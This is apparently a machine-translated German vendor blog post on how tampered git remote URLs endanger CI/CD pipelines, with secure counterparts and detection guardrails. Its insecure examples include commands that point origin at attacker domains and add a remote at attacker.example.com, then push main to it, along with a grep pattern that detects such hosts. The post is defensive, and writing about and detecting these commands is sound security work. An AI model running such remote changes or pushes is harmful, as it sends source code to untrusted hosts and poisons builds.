Das versteckte Risiko hinter einem einfachen Git-Befehl
Für die meisten Entwickler reicht die Ausführung eines Befehls wie git remote set-url origin fühlt sich routinemäßig an, nur ein weiterer Schritt bei der Aufrechterhaltung der Git-Konfiguration. CI-Skripte führen auch häufig Befehle wie „git remote set-url“, „Git set url for remote“ oder „Git remote add“ aus, um während Builds Code abzurufen oder zu pushen. Aber hier besteht das Risiko: Wenn ein Angreifer diese Konfiguration manipuliert (lokal oder in CI), kann er Ihre Quelle auf ein bösartiges Repository umleiten, Anmeldeinformationen abfangen oder Malware in die Lieferkette einschleusen.
Beispiel für die typische Verwendung:
# Legitime Nutzung
git remote set-url origin https://github.com/org/project.git
⚠️ Unsicheres Beispiel, nur für Bildungszwecke. Nicht in der Produktion verwenden.
# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git
Sichern Sie die Version, pinnen Sie und überprüfen Sie den Repository-Ursprung
# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.
Warum? Wenn der Remote-Zugriff auf einen vom Angreifer kontrollierten Host umgeschaltet wird, verweist jeder nachfolgende Git-Fetch/Git-Push auf Schadcode. Verwenden Sie nach Möglichkeit Hardcode für vertrauenswürdige Ursprünge und vermeiden Sie nicht validierte dynamische URLs.
Wie Fernmanipulation den Build beeinträchtigt Pipeline
Eine geänderte Git-Remote-URL kann schwerwiegende Folgen in automatisierten pipelines, wo Skripten implizit vertraut wird.
Beispielszenario:
- Ein CI-Skript verwendet git remote set-url, um Repositories dynamisch neu zu konfigurieren.
- Eine kompromittierte Umgebungsvariable (z. B. Token oder Repo-URL) wird in das Skript eingefügt.
- Der Build ruft Code ab oder überträgt ihn in ein bösartiges Repo.
- Der Angreifer fügt Hintertüren ein oder manipuliert Abhängigkeiten.
⚠️ Unsicheres Beispiel, nur für Bildungszwecke. Nicht in der Produktion verwenden.
# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
- name: Set remote
run: git remote set-url origin $REPO_URL
- name: Build and deploy
run: npm install && npm run build
Sichere Version, validieren Sie $REPO_URL vor der Verwendung (Whitelist-/Xygeni-Verifizierung).
# ✅ CI/CD pipeline with validation guardrail
steps:
- name: Validate REPO_URL
run: |
# Educational note: never accept raw URLs without validation.
if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
echo "Untrusted repo origin: $REPO_URL" && exit 1
fi
- name: Set remote (safe)
run: git remote set-url origin "$REPO_URL"
- name: Build and deploy
run: npm ci && npm run build
Warum: Validieren Sie eingehende Repo-URLs anhand einer gepflegten Whitelist (oder verwenden Sie xygeni verify --git-origin), bevor sie darauf reagieren. Dies verhindert, dass Angreifer Umgebungsvariablen überschreiben, um pipelines.
Erkennen nicht autorisierter Änderungen in der Remote-Konfiguration
Git benachrichtigt Sie nicht, wenn ein Remote-Rechner geändert wird. Proaktive Überwachung von .git/config und es sind Integritätsprüfungen vor dem Erstellen erforderlich.
Praktische Erkennungstechniken
Git-Konfiguration prüfen:
Vergleichen Sie die Ausgabe mit den erwarteten URLs, die in einer sicheren Basislinie gespeichert sind.
Bestätigen
.git/configIntegrität:Vergleichen Sie die Prüfsumme mit einer vertrauenswürdigen Basislinie.
CI-basierte Validierung:
Pädagogischer Hinweis: Führen Sie keine Integritätsprüfungen oder Verifizierungsbefehle mit langlebigen Anmeldeinformationen aus, die in Protokollen oder ungeschützten Umgebungen offengelegt sind. Verwenden Sie flüchtige Anmeldeinformationen und geschützte Geheimnisse und vermeiden Sie nach Möglichkeit die Ausführung von Validierungsbefehlen als privilegierter Benutzer.
Erkennungstipp: Suchen Sie nach Remotes, die auf nicht-kanonische Domänen verweisen (unerwartete .net, .io, IP-Adressen), doppelte Remote-Namen oder Umgebungsvariablen, die Repo-URLs ohne Validierung steuern. Früherkennung verhindert git set-url Manipulation durch kontaminierende Builds.
Sichern von Repository-Ursprüngen mit Guardrails und Hash-Validierung
Prävention bedeutet, strenge Kontrollen darüber durchzusetzen, aus welchen Repositories Sie erstellen. Guardrails Dazu gehören Signierung, Hash-Validierung und die Einschränkung, wer CI-Variablen ändern kann.
Sichere Praktiken für die Repository-Integrität
Repository-URLs anheften, vertrauenswürdige Ursprünge fest codieren, wo möglich:
# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD
Validieren Sie die Repository-Hashes:
Überprüfen Sie vor dem Erstellen, ob HEAD mit einem erwarteten Hash übereinstimmt.
⚠️ Unsicheres Beispiel, Drucken von Token in Protokollen (nicht in der Produktion verwenden).
# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"
Sichere Version, Geheimnisse aus dem Tresor lesen und niemals drucken
# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.
Mini-Checkliste: Sichere Git-Remoteverwaltung
- Erzwingen Remote-URL-Whitelisting oder -Verifizierung.
- Überprüfen Sie die Integrität von .git/config vor dem Erstellen.
- Signiert erforderlich commits und Tags.
- Beschränken Sie, wer CI-Umgebungsvariablen ändern kann.
- Protokollieren Sie die Ausführungen von „git remote set-url“ und „git remote add“ zur Prüfung.
Integration der Git Remote Set URL-Validierung in CI/CD Pipelines
Speichern guardrails und automatisierte Verifizierung, um Remote-Manipulationen frühzeitig zu stoppen pipeline.
Leitplankenbeispiel: Suchen Sie nach doppelten oder nicht autorisierten Fernbedienungen
# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
- name: Check remotes
run: |
git remote -v > /tmp/remotes.txt
if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
echo "Unauthorized remote detected" && exit 1
fi
# Validate current origin matches expected
if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
echo "Origin verification failed" && exit 1
fi
Schutz vor Manipulationen in der Lieferkette in gemeinsam genutzten Umgebungen
Gemeinsam genutzte Runner und permissive Remote-Befehle bergen ein hohes Risiko. Vermeiden Sie Befehle, die während der Job-Laufzeit ungeprüfte Remote-Befehle hinzufügen.
⚠️ Unsicheres Beispiel: Hinzufügen einer Angreifer-Remote (nicht verwenden).
# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git
Sichere Version, Beschränkung auf validierte Domänen und Verwendung von –set-url nur für genehmigte Ursprünge
# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
git remote add backup "$REMOTE_URL"
else
echo "Refusing to add unapproved remote" && exit 1
fi
Hinweis: Bevorzugen Sie kurzlebige Runner und vermeiden Sie dauerhafte gemeinsame Caches zwischen Jobs.
Hinweis zu Runnern: Verwenden Sie temporäre, isolierte Runner, die für jeden Job neu erstellt werden. Gemeinsam genutzte Datenträger oder Caches können manipulierte Dateien über mehrere Builds hinweg beibehalten.
Integrieren von Git-Set-URL für Remote-Validierung in CI/CD Pipelines
Bei der Sicherung der Remote-Set-URL-Nutzung von Git geht es nicht nur um manuelle Überprüfungen, sondern auch um Automatisierung. Moderne DevSecOps-Workflows können die Validierung direkt in CI/CD pipelines.
Beispiel: Automatisierte Remote-Integritätsvalidierung
stages:
- validate
- build
validate-repo:
script:
- echo "Validating repository origin..."
- xygeni enforce --policy git-origin.yaml
- xygeni scan --detect-remote-tampering
Diese Konfiguration stellt sicher, dass vor der Ausführung eines Builds oder einer Bereitstellung die pipeline validiert:
- Die Repository-URL entspricht dem erwarteten Wert.
- Commit Unterschriften sind gültig.
- Mit „git add remote“ wurden keine unerwarteten Remotes hinzugefügt.
Zusätzliche CI-Steuerelemente
- Pre-commit hooks: Stellen Sie sicher, dass keine unbefugten git remote set-url Befehle existieren in commits.
- Durchsetzung von Richtlinien als Code: Definieren Sie zulässige Ursprünge als Teil versionskontrollierter Richtlinien.
- Abhängigkeitsspiegelung: Rufen Sie Code von verifizierten internen Spiegeln statt von direkten Internetquellen ab.
Automatisierung dieser Prüfungen verhindert nicht nur Fehlkonfigurationen, sondern erkennt auch Manipulationsversuche in der Lieferkette, bevor der Code überhaupt ausgeliefert wird.
Schutz vor Manipulationen in der Lieferkette in gemeinsam genutzten Umgebungen
Gemeinsam genutzte Runner oder kurzlebige CI-Umgebungen bergen zusätzliche Risiken. Wenn mehrere Builds Ressourcen gemeinsam nutzen, können die Befehle „git remote set-url“ oder „git add remote“ als Waffe eingesetzt werden, um schädliche Remote-Aufrufe über mehrere Sitzungen hinweg zu persistieren.
Häufige Angriffsszenarien
Ein kompromittiertes Build-Skript fügt einen neuen Remote-Code hinzu, um ihn in das Repository eines Angreifers zu übertragen:
git Remote-Backup hinzufügen https://attacker.example.com/repo.git
Git Push Backup Main
- Ein anderes Projekt, das auf demselben CI-Agenten ausgeführt wird, ruft diesen kontaminierten Zustand ab.
- Sensible Daten wie Token oder Build-Artefakte gelangen durch nicht autorisierte Pushes an die Öffentlichkeit.
Härtungsmaßnahmen
- Vergängliche Läufer: Setzen Sie die CI-Umgebungen nach jedem Build zurück.
- Netzwerkisolation: Beschränken Sie den ausgehenden Datenverkehr auf genehmigte Domänen.
- Geringstes Privileg: Beschränken Sie die Berechtigungen für Git-Operationen in pipelines.
- Artefaktsignierung: Stellen Sie sicher, dass alle Build-Ausgaben kryptografisch signiert und verifiziert sind.
Durch die Kombination von Isolierung, Validierung und Überwachung können Teams Angriffe neutralisieren, die die Git-Set-URL zur Remote-Manipulation ausnutzen.
Validieren, Überwachen und Automatisieren des Repository-Vertrauens
Ein einziger missbrauchter Git Remote Set-URL oder ein nicht verifizierter Git Add Remote kann Ihren gesamten Build-Prozess unbemerkt in ein vom Angreifer kontrolliertes Repository umleiten. Die Grenze zwischen Produktivität und Kompromittierung ist in DevOps dünner denn je, und Angriffe auf die Software-Lieferkette genau das ausnutzen.
Um das Vertrauen in Ihre pipelines:
- Validieren Sie die Ursprünge des Repositorys kontinuierlich.
- Erzwingen commit und Artefaktsignierung.
- Automatisiere Prozesse mit Technologie
Integritätsprüfungen in jeder Phase CI/CD.
Plattformen wie Xygeni Helfen Sie DevSecOps-Teams, Remote-Fehlkonfigurationen zu erkennen, die Vertrauensgrenzen von Repositorys zu überwachen und Lieferkettenrisiken zu blockieren, die durch Git-Missbrauch entstehen, bevor böswillige Remote-Geräte überhaupt die Chance bekommen, Code bereitzustellen.
Vertrauen Sie Ihrem Workflow, aber überprüfen Sie Ihre Quelle. So verhindern Sie, dass git remote set-url zu Ihrer nächsten Sicherheitslücke wird.
